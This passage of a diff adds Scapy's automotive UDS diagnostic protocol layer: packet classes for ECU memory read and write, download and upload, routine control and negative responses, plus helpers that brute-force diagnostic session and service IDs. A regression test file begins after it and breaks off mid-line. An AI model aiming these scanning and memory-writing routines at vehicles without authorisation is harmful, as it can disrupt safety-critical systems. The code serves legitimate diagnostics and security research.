fields_desc = [ + FieldListField("identifiers", [0], + XShortEnumField('dataIdentifier', 0, + dataIdentifiers)) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_RDBI.identifiers%") + + +bind_layers(UDS, UDS_RDBI, service=0x22) + + +class UDS_RDBIPR(Packet): + name = 'ReadDataByIdentifierPositiveResponse' + fields_desc = [ + XShortEnumField('dataIdentifier', 0, + UDS_RDBI.dataIdentifiers), + ] + + def answers(self, other): + return other.__class__ == UDS_RDBI \ + and self.dataIdentifier in other.identifiers + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_RDBIPR.dataIdentifier%") + + +bind_layers(UDS, UDS_RDBIPR, service=0x62) + + +# #########################RMBA################################### +class UDS_RMBA(Packet): + name = 'ReadMemoryByAddress' + fields_desc = [ + BitField('memorySizeLen', 0, 4), + BitField('memoryAddressLen', 0, 4), + ConditionalField(XByteField('memoryAddress1', 0), + lambda pkt: pkt.memoryAddressLen == 1), + ConditionalField(XShortField('memoryAddress2', 0), + lambda pkt: pkt.memoryAddressLen == 2), + ConditionalField(X3BytesField('memoryAddress3', 0), + lambda pkt: pkt.memoryAddressLen == 3), + ConditionalField(XIntField('memoryAddress4', 0), + lambda pkt: pkt.memoryAddressLen == 4), + ConditionalField(XByteField('memorySize1', 0), + lambda pkt: pkt.memorySizeLen == 1), + ConditionalField(XShortField('memorySize2', 0), + lambda pkt: pkt.memorySizeLen == 2), + ConditionalField(X3BytesField('memorySize3', 0), + lambda pkt: pkt.memorySizeLen == 3), + ConditionalField(XIntField('memorySize4', 0), + lambda pkt: pkt.memorySizeLen == 4), + ] + + @staticmethod + def get_log(pkt): + addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) + size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) + return pkt.sprintf("%UDS.service%"), (addr, size) + + +bind_layers(UDS, UDS_RMBA, service=0x23) + + +class UDS_RMBAPR(Packet): + name = 'ReadMemoryByAddressPositiveResponse' + fields_desc = [ + StrField('dataRecord', None, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_RMBA + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.dataRecord + + +bind_layers(UDS, UDS_RMBAPR, service=0x63) + + +# #########################RSDBI################################### +class UDS_RSDBI(Packet): + name = 'ReadScalingDataByIdentifier' + dataIdentifiers = ObservableDict() + fields_desc = [ + XShortEnumField('dataIdentifier', 0, dataIdentifiers) + ] + + +bind_layers(UDS, UDS_RSDBI, service=0x24) + + +# TODO: Implement correct scaling here, instead of using just the dataRecord +class UDS_RSDBIPR(Packet): + name = 'ReadScalingDataByIdentifierPositiveResponse' + fields_desc = [ + XShortEnumField('dataIdentifier', 0, UDS_RSDBI.dataIdentifiers), + ByteField('scalingByte', 0), + StrField('dataRecord', None, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_RSDBI \ + and other.dataIdentifier == self.dataIdentifier + + +bind_layers(UDS, UDS_RSDBIPR, service=0x64) + + +# #########################RDBPI################################### +class UDS_RDBPI(Packet): + transmissionModes = { + 0: 'ISOSAEReserved', + 1: 'sendAtSlowRate', + 2: 'sendAtMediumRate', + 3: 'sendAtFastRate', + 4: 'stopSending' + } + name = 'ReadDataByPeriodicIdentifier' + fields_desc = [ + ByteEnumField('transmissionMode', 0, transmissionModes), + ByteField('periodicDataIdentifier', 0), + StrField('furtherPeriodicDataIdentifier', 0, fmt="B") + ] + + +bind_layers(UDS, UDS_RDBPI, service=0x2A) + + +# TODO: Implement correct scaling here, instead of using just the dataRecord +class UDS_RDBPIPR(Packet): + name = 'ReadDataByPeriodicIdentifierPositiveResponse' + fields_desc = [ + ByteField('periodicDataIdentifier', 0), + StrField('dataRecord', None, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_RDBPI \ + and other.periodicDataIdentifier == self.periodicDataIdentifier + + +bind_layers(UDS, UDS_RDBPIPR, service=0x6A) + + +# #########################DDDI################################### +# TODO: Implement correct interpretation here, +# instead of using just the dataRecord +class UDS_DDDI(Packet): + name = 'DynamicallyDefineDataIdentifier' + subFunctions = {0x1: "defineByIdentifier", + 0x2: "defineByMemoryAddress", + 0x3: "clearDynamicallyDefinedDataIdentifier"} + fields_desc = [ + ByteEnumField('subFunction', 0, subFunctions), + StrField('dataRecord', 0, fmt="B") + ] + + +bind_layers(UDS, UDS_DDDI, service=0x2C) + + +class UDS_DDDIPR(Packet): + name = 'DynamicallyDefineDataIdentifierPositiveResponse' + fields_desc = [ + ByteEnumField('subFunction', 0, UDS_DDDI.subFunctions), + XShortField('dynamicallyDefinedDataIdentifier', 0) + ] + + def answers(self, other): + return other.__class__ == UDS_DDDI \ + and other.subFunction == self.subFunction + + +bind_layers(UDS, UDS_DDDIPR, service=0x6C) + + +# #########################WDBI################################### +class UDS_WDBI(Packet): + name = 'WriteDataByIdentifier' + fields_desc = [ + XShortEnumField('dataIdentifier', 0, + UDS_RDBI.dataIdentifiers) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_WDBI.dataIdentifier%") + + +bind_layers(UDS, UDS_WDBI, service=0x2E) + + +class UDS_WDBIPR(Packet): + name = 'WriteDataByIdentifierPositiveResponse' + fields_desc = [ + XShortEnumField('dataIdentifier', 0, + UDS_RDBI.dataIdentifiers), + ] + + def answers(self, other): + return other.__class__ == UDS_WDBI \ + and other.dataIdentifier == self.dataIdentifier + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_WDBIPR.dataIdentifier%") + + +bind_layers(UDS, UDS_WDBIPR, service=0x6E) + + +# #########################WMBA################################### +class UDS_WMBA(Packet): + name = 'WriteMemoryByAddress' + fields_desc = [ + BitField('memorySizeLen', 0, 4), + BitField('memoryAddressLen', 0, 4), + ConditionalField(XByteField('memoryAddress1', 0), + lambda pkt: pkt.memoryAddressLen == 1), + ConditionalField(XShortField('memoryAddress2', 0), + lambda pkt: pkt.memoryAddressLen == 2), + ConditionalField(X3BytesField('memoryAddress3', 0), + lambda pkt: pkt.memoryAddressLen == 3), + ConditionalField(XIntField('memoryAddress4', 0), + lambda pkt: pkt.memoryAddressLen == 4), + ConditionalField(XByteField('memorySize1', 0), + lambda pkt: pkt.memorySizeLen == 1), + ConditionalField(XShortField('memorySize2', 0), + lambda pkt: pkt.memorySizeLen == 2), + ConditionalField(X3BytesField('memorySize3', 0), + lambda pkt: pkt.memorySizeLen == 3), + ConditionalField(XIntField('memorySize4', 0), + lambda pkt: pkt.memorySizeLen == 4), + StrField('dataRecord', b'\x00', fmt="B"), + + ] + + @staticmethod + def get_log(pkt): + addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) + size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) + return pkt.sprintf("%UDS.service%"), (addr, size, pkt.dataRecord) + + +bind_layers(UDS, UDS_WMBA, service=0x3D) + + +class UDS_WMBAPR(Packet): + name = 'WriteMemoryByAddressPositiveResponse' + fields_desc = [ + BitField('memorySizeLen', 0, 4), + BitField('memoryAddressLen', 0, 4), + ConditionalField(XByteField('memoryAddress1', 0), + lambda pkt: pkt.memoryAddressLen == 1), + ConditionalField(XShortField('memoryAddress2', 0), + lambda pkt: pkt.memoryAddressLen == 2), + ConditionalField(X3BytesField('memoryAddress3', 0), + lambda pkt: pkt.memoryAddressLen == 3), + ConditionalField(XIntField('memoryAddress4', 0), + lambda pkt: pkt.memoryAddressLen == 4), + ConditionalField(XByteField('memorySize1', 0), + lambda pkt: pkt.memorySizeLen == 1), + ConditionalField(XShortField('memorySize2', 0), + lambda pkt: pkt.memorySizeLen == 2), + ConditionalField(X3BytesField('memorySize3', 0), + lambda pkt: pkt.memorySizeLen == 3), + ConditionalField(XIntField('memorySize4', 0), + lambda pkt: pkt.memorySizeLen == 4) + ] + + def answers(self, other): + return other.__class__ == UDS_WMBA \ + and other.memorySizeLen == self.memorySizeLen \ + and other.memoryAddressLen == self.memoryAddressLen + + @staticmethod + def get_log(pkt): + addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) + size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) + return pkt.sprintf("%UDS.service%"), (addr, size) + + +bind_layers(UDS, UDS_WMBAPR, service=0x7D) + + +# #########################CDTCI################################### +class UDS_CDTCI(Packet): + name = 'ClearDiagnosticInformation' + fields_desc = [ + ByteField('groupOfDTCHighByte', 0), + ByteField('groupOfDTCMiddleByte', 0), + ByteField('groupOfDTCLowByte', 0), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), (pkt.groupOfDTCHighByte, + pkt.groupOfDTCMiddleByte, + pkt.groupOfDTCLowByte) + + +bind_layers(UDS, UDS_CDTCI, service=0x14) + + +class UDS_CDTCIPR(Packet): + name = 'ClearDiagnosticInformationPositiveResponse' + + def answers(self, other): + return other.__class__ == UDS_CDTCI + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), None + + +bind_layers(UDS, UDS_CDTCIPR, service=0x54) + + +# #########################RDTCI################################### +class UDS_RDTCI(Packet): + reportTypes = { + 0: 'ISOSAEReserved', + 1: 'reportNumberOfDTCByStatusMask', + 2: 'reportDTCByStatusMask', + 3: 'reportDTCSnapshotIdentification', + 4: 'reportDTCSnapshotRecordByDTCNumber', + 5: 'reportDTCSnapshotRecordByRecordNumber', + 6: 'reportDTCExtendedDataRecordByDTCNumber', + 7: 'reportNumberOfDTCBySeverityMaskRecord', + 8: 'reportDTCBySeverityMaskRecord', + 9: 'reportSeverityInformationOfDTC', + 10: 'reportSupportedDTC', + 11: 'reportFirstTestFailedDTC', + 12: 'reportFirstConfirmedDTC', + 13: 'reportMostRecentTestFailedDTC', + 14: 'reportMostRecentConfirmedDTC', + 15: 'reportMirrorMemoryDTCByStatusMask', + 16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber', + 17: 'reportNumberOfMirrorMemoryDTCByStatusMask', + 18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask', + 19: 'reportEmissionsRelatedOBDDTCByStatusMask', + 20: 'reportDTCFaultDetectionCounter', + 21: 'reportDTCWithPermanentStatus' + } + name = 'ReadDTCInformation' + fields_desc = [ + ByteEnumField('reportType', 0, reportTypes), + ConditionalField(XByteField('DTCStatusMask', 0), + lambda pkt: pkt.reportType in [0x01, 0x02, 0x0f, + 0x11, 0x12, 0x13]), + ConditionalField(ByteField('DTCHighByte', 0), + lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, + 0x10, 0x09]), + ConditionalField(ByteField('DTCMiddleByte', 0), + lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, + 0x10, 0x09]), + ConditionalField(ByteField('DTCLowByte', 0), + lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, + 0x10, 0x09]), + ConditionalField(ByteField('DTCSnapshotRecordNumber', 0), + lambda pkt: pkt.reportType in [0x3, 0x4, 0x5]), + ConditionalField(ByteField('DTCExtendedDataRecordNumber', 0), + lambda pkt: pkt.reportType in [0x6, 0x10]), + ConditionalField(ByteField('DTCSeverityMask', 0), + lambda pkt: pkt.reportType in [0x07, 0x08]), + ConditionalField(ByteField('DTCStatusMask', 0), + lambda pkt: pkt.reportType in [0x07, 0x08]), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), repr(pkt) + + +bind_layers(UDS, UDS_RDTCI, service=0x19) + + +class UDS_RDTCIPR(Packet): + name = 'ReadDTCInformationPositiveResponse' + fields_desc = [ + ByteEnumField('reportType', 0, UDS_RDTCI.reportTypes), + ConditionalField(XByteField('DTCStatusAvailabilityMask', 0), + lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, + 0x12, 0x02, 0x0A, + 0x0B, 0x0C, 0x0D, + 0x0E, 0x0F, 0x13, + 0x15]), + ConditionalField(ByteEnumField('DTCFormatIdentifier', 0, + {0: 'ISO15031-6DTCFormat', + 1: 'UDS-1DTCFormat', + 2: 'SAEJ1939-73DTCFormat', + 3: 'ISO11992-4DTCFormat'}), + lambda pkt: pkt.reportType in [0x01, 0x07, + 0x11, 0x12]), + ConditionalField(ShortField('DTCCount', 0), + lambda pkt: pkt.reportType in [0x01, 0x07, + 0x11, 0x12]), + ConditionalField(StrField('DTCAndStatusRecord', 0), + lambda pkt: pkt.reportType in [0x02, 0x0A, 0x0B, + 0x0C, 0x0D, 0x0E, + 0x0F, 0x13, 0x15]), + ConditionalField(StrField('dataRecord', 0), + lambda pkt: pkt.reportType in [0x03, 0x04, 0x05, + 0x06, 0x08, 0x09, + 0x10, 0x14]) + ] + + def answers(self, other): + return other.__class__ == UDS_RDTCI \ + and other.reportType == self.reportType + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), repr(pkt) + + +bind_layers(UDS, UDS_RDTCIPR, service=0x59) + + +# #########################RC################################### +class UDS_RC(Packet): + routineControlTypes = { + 0: 'ISOSAEReserved', + 1: 'startRoutine', + 2: 'stopRoutine', + 3: 'requestRoutineResults' + } + routineControlIdentifiers = ObservableDict() + name = 'RoutineControl' + fields_desc = [ + ByteEnumField('routineControlType', 0, routineControlTypes), + XShortEnumField('routineIdentifier', 0, routineControlIdentifiers), + StrField('routineControlOptionRecord', 0, fmt="B"), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"),\ + (pkt.routineControlType, + pkt.routineIdentifier, + pkt.routineControlOptionRecord) + + +bind_layers(UDS, UDS_RC, service=0x31) + + +class UDS_RCPR(Packet): + name = 'RoutineControlPositiveResponse' + fields_desc = [ + ByteEnumField('routineControlType', 0, + UDS_RC.routineControlTypes), + XShortEnumField('routineIdentifier', 0, + UDS_RC.routineControlIdentifiers), + StrField('routineStatusRecord', 0, fmt="B"), + ] + + def answers(self, other): + return other.__class__ == UDS_RC \ + and other.routineControlType == self.routineControlType + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"),\ + (pkt.routineControlType, + pkt.routineIdentifier, + pkt.routineStatusRecord) + + +bind_layers(UDS, UDS_RCPR, service=0x71) + + +# #########################RD################################### +class UDS_RD(Packet): + dataFormatIdentifiers = ObservableDict({ + 0: 'noCompressionNoEncryption' + }) + name = 'RequestDownload' + fields_desc = [ + ByteEnumField('dataFormatIdentifier', 0, dataFormatIdentifiers), + BitField('memorySizeLen', 0, 4), + BitField('memoryAddressLen', 0, 4), + ConditionalField(XByteField('memoryAddress1', 0), + lambda pkt: pkt.memoryAddressLen == 1), + ConditionalField(XShortField('memoryAddress2', 0), + lambda pkt: pkt.memoryAddressLen == 2), + ConditionalField(X3BytesField('memoryAddress3', 0), + lambda pkt: pkt.memoryAddressLen == 3), + ConditionalField(XIntField('memoryAddress4', 0), + lambda pkt: pkt.memoryAddressLen == 4), + ConditionalField(XByteField('memorySize1', 0), + lambda pkt: pkt.memorySizeLen == 1), + ConditionalField(XShortField('memorySize2', 0), + lambda pkt: pkt.memorySizeLen == 2), + ConditionalField(X3BytesField('memorySize3', 0), + lambda pkt: pkt.memorySizeLen == 3), + ConditionalField(XIntField('memorySize4', 0), + lambda pkt: pkt.memorySizeLen == 4) + ] + + @staticmethod + def get_log(pkt): + addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) + size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) + return pkt.sprintf("%UDS.service%"), (addr, size) + + +bind_layers(UDS, UDS_RD, service=0x34) + + +class UDS_RDPR(Packet): + name = 'RequestDownloadPositiveResponse' + fields_desc = [ + BitField('memorySizeLen', 0, 4), + BitField('reserved', 0, 4), + StrField('maxNumberOfBlockLength', 0, fmt="B"), + ] + + def answers(self, other): + return other.__class__ == UDS_RD + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.memorySizeLen + + +bind_layers(UDS, UDS_RDPR, service=0x74) + + +# #########################RU################################### +class UDS_RU(Packet): + name = 'RequestUpload' + fields_desc = [ + ByteEnumField('dataFormatIdentifier', 0, + UDS_RD.dataFormatIdentifiers), + BitField('memorySizeLen', 0, 4), + BitField('memoryAddressLen', 0, 4), + ConditionalField(XByteField('memoryAddress1', 0), + lambda pkt: pkt.memoryAddressLen == 1), + ConditionalField(XShortField('memoryAddress2', 0), + lambda pkt: pkt.memoryAddressLen == 2), + ConditionalField(X3BytesField('memoryAddress3', 0), + lambda pkt: pkt.memoryAddressLen == 3), + ConditionalField(XIntField('memoryAddress4', 0), + lambda pkt: pkt.memoryAddressLen == 4), + ConditionalField(XByteField('memorySize1', 0), + lambda pkt: pkt.memorySizeLen == 1), + ConditionalField(XShortField('memorySize2', 0), + lambda pkt: pkt.memorySizeLen == 2), + ConditionalField(X3BytesField('memorySize3', 0), + lambda pkt: pkt.memorySizeLen == 3), + ConditionalField(XIntField('memorySize4', 0), + lambda pkt: pkt.memorySizeLen == 4) + ] + + @staticmethod + def get_log(pkt): + addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) + size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) + return pkt.sprintf("%UDS.service%"), (addr, size) + + +bind_layers(UDS, UDS_RU, service=0x35) + + +class UDS_RUPR(Packet): + name = 'RequestUploadPositiveResponse' + fields_desc = [ + BitField('memorySizeLen', 0, 4), + BitField('reserved', 0, 4), + StrField('maxNumberOfBlockLength', 0, fmt="B"), + ] + + def answers(self, other): + return other.__class__ == UDS_RU + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.memorySizeLen + + +bind_layers(UDS, UDS_RUPR, service=0x75) + + +# #########################TD################################### +class UDS_TD(Packet): + name = 'TransferData' + fields_desc = [ + ByteField('blockSequenceCounter', 0), + StrField('transferRequestParameterRecord', 0, fmt="B") + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"),\ + (pkt.blockSequenceCounter, pkt.transferRequestParameterRecord) + + +bind_layers(UDS, UDS_TD, service=0x36) + + +class UDS_TDPR(Packet): + name = 'TransferDataPositiveResponse' + fields_desc = [ + ByteField('blockSequenceCounter', 0), + StrField('transferResponseParameterRecord', 0, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_TD \ + and other.blockSequenceCounter == self.blockSequenceCounter + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.blockSequenceCounter + + +bind_layers(UDS, UDS_TDPR, service=0x76) + + +# #########################RTE################################### +class UDS_RTE(Packet): + name = 'RequestTransferExit' + fields_desc = [ + StrField('transferRequestParameterRecord', 0, fmt="B") + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"),\ + pkt.transferRequestParameterRecord + + +bind_layers(UDS, UDS_RTE, service=0x37) + + +class UDS_RTEPR(Packet): + name = 'RequestTransferExitPositiveResponse' + fields_desc = [ + StrField('transferResponseParameterRecord', 0, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_RTE + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"),\ + pkt.transferResponseParameterRecord + + +bind_layers(UDS, UDS_RTEPR, service=0x77) + + +# #########################IOCBI################################### +class UDS_IOCBI(Packet): + name = 'InputOutputControlByIdentifier' + dataIdentifiers = ObservableDict() + fields_desc = [ + XShortEnumField('dataIdentifier', 0, dataIdentifiers), + ByteField('controlOptionRecord', 0), + StrField('controlEnableMaskRecord', 0, fmt="B") + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.dataIdentifier + + +bind_layers(UDS, UDS_IOCBI, service=0x2F) + + +class UDS_IOCBIPR(Packet): + name = 'InputOutputControlByIdentifierPositiveResponse' + fields_desc = [ + XShortField('dataIdentifier', 0), + StrField('controlStatusRecord', 0, fmt="B") + ] + + def answers(self, other): + return other.__class__ == UDS_IOCBI \ + and other.dataIdentifier == self.dataIdentifier + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.dataIdentifier + + +bind_layers(UDS, UDS_IOCBIPR, service=0x6F) + + +# #########################NR################################### +class UDS_NR(Packet): + negativeResponseCodes = { + 0x00: 'positiveResponse', + 0x10: 'generalReject', + 0x11: 'serviceNotSupported', + 0x12: 'subFunctionNotSupported', + 0x13: 'incorrectMessageLengthOrInvalidFormat', + 0x14: 'responseTooLong', + 0x20: 'ISOSAEReserved', + 0x21: 'busyRepeatRequest', + 0x22: 'conditionsNotCorrect', + 0x23: 'ISOSAEReserved', + 0x24: 'requestSequenceError', + 0x25: 'noResponseFromSubnetComponent', + 0x26: 'failurePreventsExecutionOfRequestedAction', + 0x31: 'requestOutOfRange', + 0x33: 'securityAccessDenied', + 0x35: 'invalidKey', + 0x36: 'exceedNumberOfAttempts', + 0x37: 'requiredTimeDelayNotExpired', + 0x70: 'uploadDownloadNotAccepted', + 0x71: 'transferDataSuspended', + 0x72: 'generalProgrammingFailure', + 0x73: 'wrongBlockSequenceCounter', + 0x78: 'requestCorrectlyReceived-ResponsePending', + 0x7E: 'subFunctionNotSupportedInActiveSession', + 0x7F: 'serviceNotSupportedInActiveSession', + 0x80: 'ISOSAEReserved', + 0x81: 'rpmTooHigh', + 0x82: 'rpmTooLow', + 0x83: 'engineIsRunning', + 0x84: 'engineIsNotRunning', + 0x85: 'engineRunTimeTooLow', + 0x86: 'temperatureTooHigh', + 0x87: 'temperatureTooLow', + 0x88: 'vehicleSpeedTooHigh', + 0x89: 'vehicleSpeedTooLow', + 0x8a: 'throttle/PedalTooHigh', + 0x8b: 'throttle/PedalTooLow', + 0x8c: 'transmissionRangeNotInNeutral', + 0x8d: 'transmissionRangeNotInGear', + 0x8e: 'ISOSAEReserved', + 0x8f: 'brakeSwitch(es)NotClosed', + 0x90: 'shifterLeverNotInPark', + 0x91: 'torqueConverterClutchLocked', + 0x92: 'voltageTooHigh', + 0x93: 'voltageTooLow', + } + name = 'NegativeResponse' + fields_desc = [ + XByteEnumField('requestServiceId', 0, UDS.services), + ByteEnumField('negativeResponseCode', 0, negativeResponseCodes) + ] + + def answers(self, other): + return self.requestServiceId == other.service and \ + (self.negativeResponseCode != 0x78 or + conf.contribs['UDS']['treat-response-pending-as-answer']) + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + (pkt.sprintf("%UDS_NR.requestServiceId%"), + pkt.sprintf("%UDS_NR.negativeResponseCode%")) + + +bind_layers(UDS, UDS_NR, service=0x7f) + + +# ################################################################## +# ######################## UTILS ################################### +# ################################################################## + + +class UDS_TesterPresentSender(PeriodicSenderThread): + def __init__(self, sock, pkt=UDS() / UDS_TP(), interval=2): + """ Thread to send TesterPresent messages packets periodically + + Args: + sock: socket where packet is sent periodically + pkt: packet to send + interval: interval between two packets + """ + PeriodicSenderThread.__init__(self, sock, pkt, interval) + + +def UDS_SessionEnumerator(sock, session_range=range(0x100), reset_wait=1.5): + """ Enumerates session ID's in given range + and returns list of UDS()/UDS_DSC() packets + with valid session types + + Args: + sock: socket where packets are sent + session_range: range for session ID's + reset_wait: wait time in sec after every packet + """ + pkts = (req for tup in + product(UDS() / UDS_DSC(diagnosticSessionType=session_range), + UDS() / UDS_ER(resetType='hardReset')) for req in tup) + results, _ = sock.sr(pkts, timeout=len(session_range) * reset_wait * 2 + 1, + verbose=False, inter=reset_wait) + return [req for req, res in results if req is not None and + req.service != 0x11 and + (res.service == 0x50 or + res.negativeResponseCode not in [0x10, 0x11, 0x12])] + + +def UDS_ServiceEnumerator(sock, session="DefaultSession", + filter_responses=True): + """ Enumerates every service ID + and returns list of tuples. Each tuple contains + the session and the respective positive response + + Args: + sock: socket where packet is sent periodically + session: session in which the services are enumerated + """ + pkts = (UDS(service=x) for x in set(x & ~0x40 for x in range(0x100))) + found_services = sock.sr(pkts, timeout=5, verbose=False) + return [(session, p) for _, p in found_services[0] if + p.service != 0x7f or + (p.negativeResponseCode not in [0x10, 0x11] or not + filter_responses)] + + +def getTableEntry(tup): + """ Helping function for make_lined_table. + Returns the session and response code of tup. + + Args: + tup: tuple with session and UDS response package + + Example: + make_lined_table([('DefaultSession', UDS()/UDS_SAPR(), + 'ExtendedDiagnosticSession', UDS()/UDS_IOCBI())], + getTableEntry) + """ + session, pkt = tup + if pkt.service == 0x7f: + return (session, + "0x%02x: %s" % (pkt.requestServiceId, + pkt.sprintf("%UDS_NR.requestServiceId%")), + pkt.sprintf("%UDS_NR.negativeResponseCode%")) + else: + return (session, + "0x%02x: %s" % (pkt.service & ~0x40, + pkt.get_field('service'). + i2s[pkt.service & ~0x40]), + "PositiveResponse") diff --git a/libs/scapy/contrib/automotive/uds.uts b/libs/scapy/contrib/automotive/uds.uts new file mode 100755 index 0000000..ecafca1 --- /dev/null +++ b/libs/scapy/contrib/automotive/uds.uts @@ -0,0 +1,768 @@ +% Regression tests for the UDS layer + +# More information at http://www.secdev.org/projects/UTscapy/ + + +############ +############ + ++ Basic operations + += Load module + +load_contrib("automotive.uds") + += Check if positive response answers + +dsc = UDS(b'\x10') +dscpr = UDS(b'\x50') +assert dscpr.answers(dsc) + += Check hashret +dsc.hashret() == dscpr.hashret() + += Check if negative response answers + +dsc = UDS(b'\x10') +neg = UDS(b'\x7f\x10') +assert neg.answers(dsc) + += CHECK hashret NEG +dsc.hashret() == neg.hashret() + += Check if negative response answers not + +dsc = UDS(b'\x10') +neg = UDS(b'\x7f\x11') +assert not neg.answers(dsc) + += Check if positive response answers not + +dsc = UDS(b'\x10') +somePacket = UDS(b'\x49') +assert not somePacket.answers(dsc) + += Check UDS_DSC + +dsc = UDS(b'\x10\x01') +assert dsc.service == 0x10 +assert dsc.diagnosticSessionType == 0x01 + += Check UDS_DSC + +dsc = UDS()/UDS_DSC(b'\x01') +assert dsc.service == 0x10 +assert dsc.diagnosticSessionType == 0x01 + += Check UDS_DSCPR + +dscpr = UDS(b'\x50\x02beef') +assert dscpr.service == 0x50 +assert dscpr.diagnosticSessionType == 0x02 + += Check UDS_DSCPR + +dscpr = UDS()/UDS_DSCPR(b'\x02beef') +assert dscpr.service == 0x50 +assert dscpr.diagnosticSessionType == 0x02 +assert dscpr.sessionParameterRecord == b"beef" + += Check UDS_ER + +er = UDS(b'\x11\x01') +assert er.service == 0x11 +assert er.resetType == 0x01 + += Check UDS_ER + +er = UDS()/UDS_ER(resetType="hardReset") +assert er.service == 0x11 +assert er.resetType == 0x01 + += Check UDS_ERPR + +erpr = UDS(b'\x51\x01') +assert erpr.service == 0x51 +assert erpr.resetType == 0x01 + += Check UDS_ERPR + +erpr = UDS(b'\x51\x04\x10') +assert erpr.service == 0x51 +assert erpr.resetType == 0x04 +assert erpr.powerDownTime == 0x10 + += Check UDS_SA + +sa = UDS(b'\x27\x00c0ffee') +assert sa.service == 0x27 +assert sa.securityAccessType == 0x0 +assert sa.securityKey == b'c0ffee' + += Check UDS_SA + +sa = UDS(b'\x27\x01c0ffee') +assert sa.service == 0x27 +assert sa.securityAccessType == 0x1 +assert sa.securityAccessDataRecord == b'c0ffee' + += Check UDS_SAPR + +sapr = UDS(b'\x67\x01c0ffee') +assert sapr.service == 0x67 +assert sapr.securityAccessType == 0x1 +assert sapr.securitySeed == b'c0ffee' + += Check UDS_SAPR + +sapr = UDS(b'\x67\x00') +assert sapr.service == 0x67 +assert sapr.securityAccessType == 0x0 + += Check UDS_CC + +cc = UDS(b'\x28\x01\xff') +assert cc.service == 0x28 +assert cc.controlType == 0x1 +assert cc.communicationType0 == 0x3 +assert cc.communicationType1 == 0x3 +assert cc.communicationType2 == 0xf + += Check UDS_CCPR + +ccpr = UDS(b'\x68\x01') +assert ccpr.service == 0x68 +assert ccpr.controlType == 0x1 + += Check UDS_TP + +tp = UDS(b'\x3E\x01') +assert tp.service == 0x3e +assert tp.subFunction == 0x1 + += Check UDS_TPPR + +tppr = UDS(b'\x7E\x01') +assert tppr.service == 0x7e +assert tppr.zeroSubFunction == 0x1 + += Check UDS_ATP + +atp = UDS(b'\x83\x01') +assert atp.service == 0x83 +assert atp.timingParameterAccessType == 0x1 + += Check UDS_ATP + +atp = UDS(b'\x83\x04coffee') +assert atp.service == 0x83 +assert atp.timingParameterAccessType == 0x4 +assert atp.timingParameterRequestRecord == b'coffee' + += Check UDS_ATPPR + +atppr = UDS(b'\xc3\x01') +assert atppr.service == 0xc3 +assert atppr.timingParameterAccessType == 0x1 + += Check UDS_ATPPR + +atppr = UDS(b'\xc3\x03coffee') +assert atppr.service == 0xc3 +assert atppr.timingParameterAccessType == 0x3 +assert atppr.timingParameterResponseRecord == b'coffee' + += Check UDS_SDT + +sdt = UDS(b'\x84coffee') +assert sdt.service == 0x84 +assert sdt.securityDataRequestRecord == b'coffee' + += Check UDS_SDTPR + +sdtpr = UDS(b'\xC4coffee') +assert sdtpr.service == 0xC4 +assert sdtpr.securityDataResponseRecord == b'coffee' + += Check UDS_CDTCS + +cdtcs = UDS(b'\x85\x00coffee') +assert cdtcs.service == 0x85 +assert cdtcs.DTCSettingType == 0 +assert cdtcs.DTCSettingControlOptionRecord == b'coffee' + += Check UDS_CDTCSPR + +cdtcspr = UDS(b'\xC5\x00') +assert cdtcspr.service == 0xC5 +assert cdtcspr.DTCSettingType == 0 + += Check UDS_ROE + +roe = UDS(b'\x86\x00\x10coffee') +assert roe.service == 0x86 +assert roe.eventType == 0 +assert roe.eventWindowTime == 16 +assert roe.eventTypeRecord == b'coffee' + += Check UDS_ROEPR + +roepr = UDS(b'\xC6\x00\x01\x10coffee') +assert roepr.service == 0xC6 +assert roepr.eventType == 0 +assert roepr.numberOfIdentifiedEvents == 1 +assert roepr.eventWindowTime == 16 +assert roepr.eventTypeRecord == b'coffee' + += Check UDS_LC + +lc = 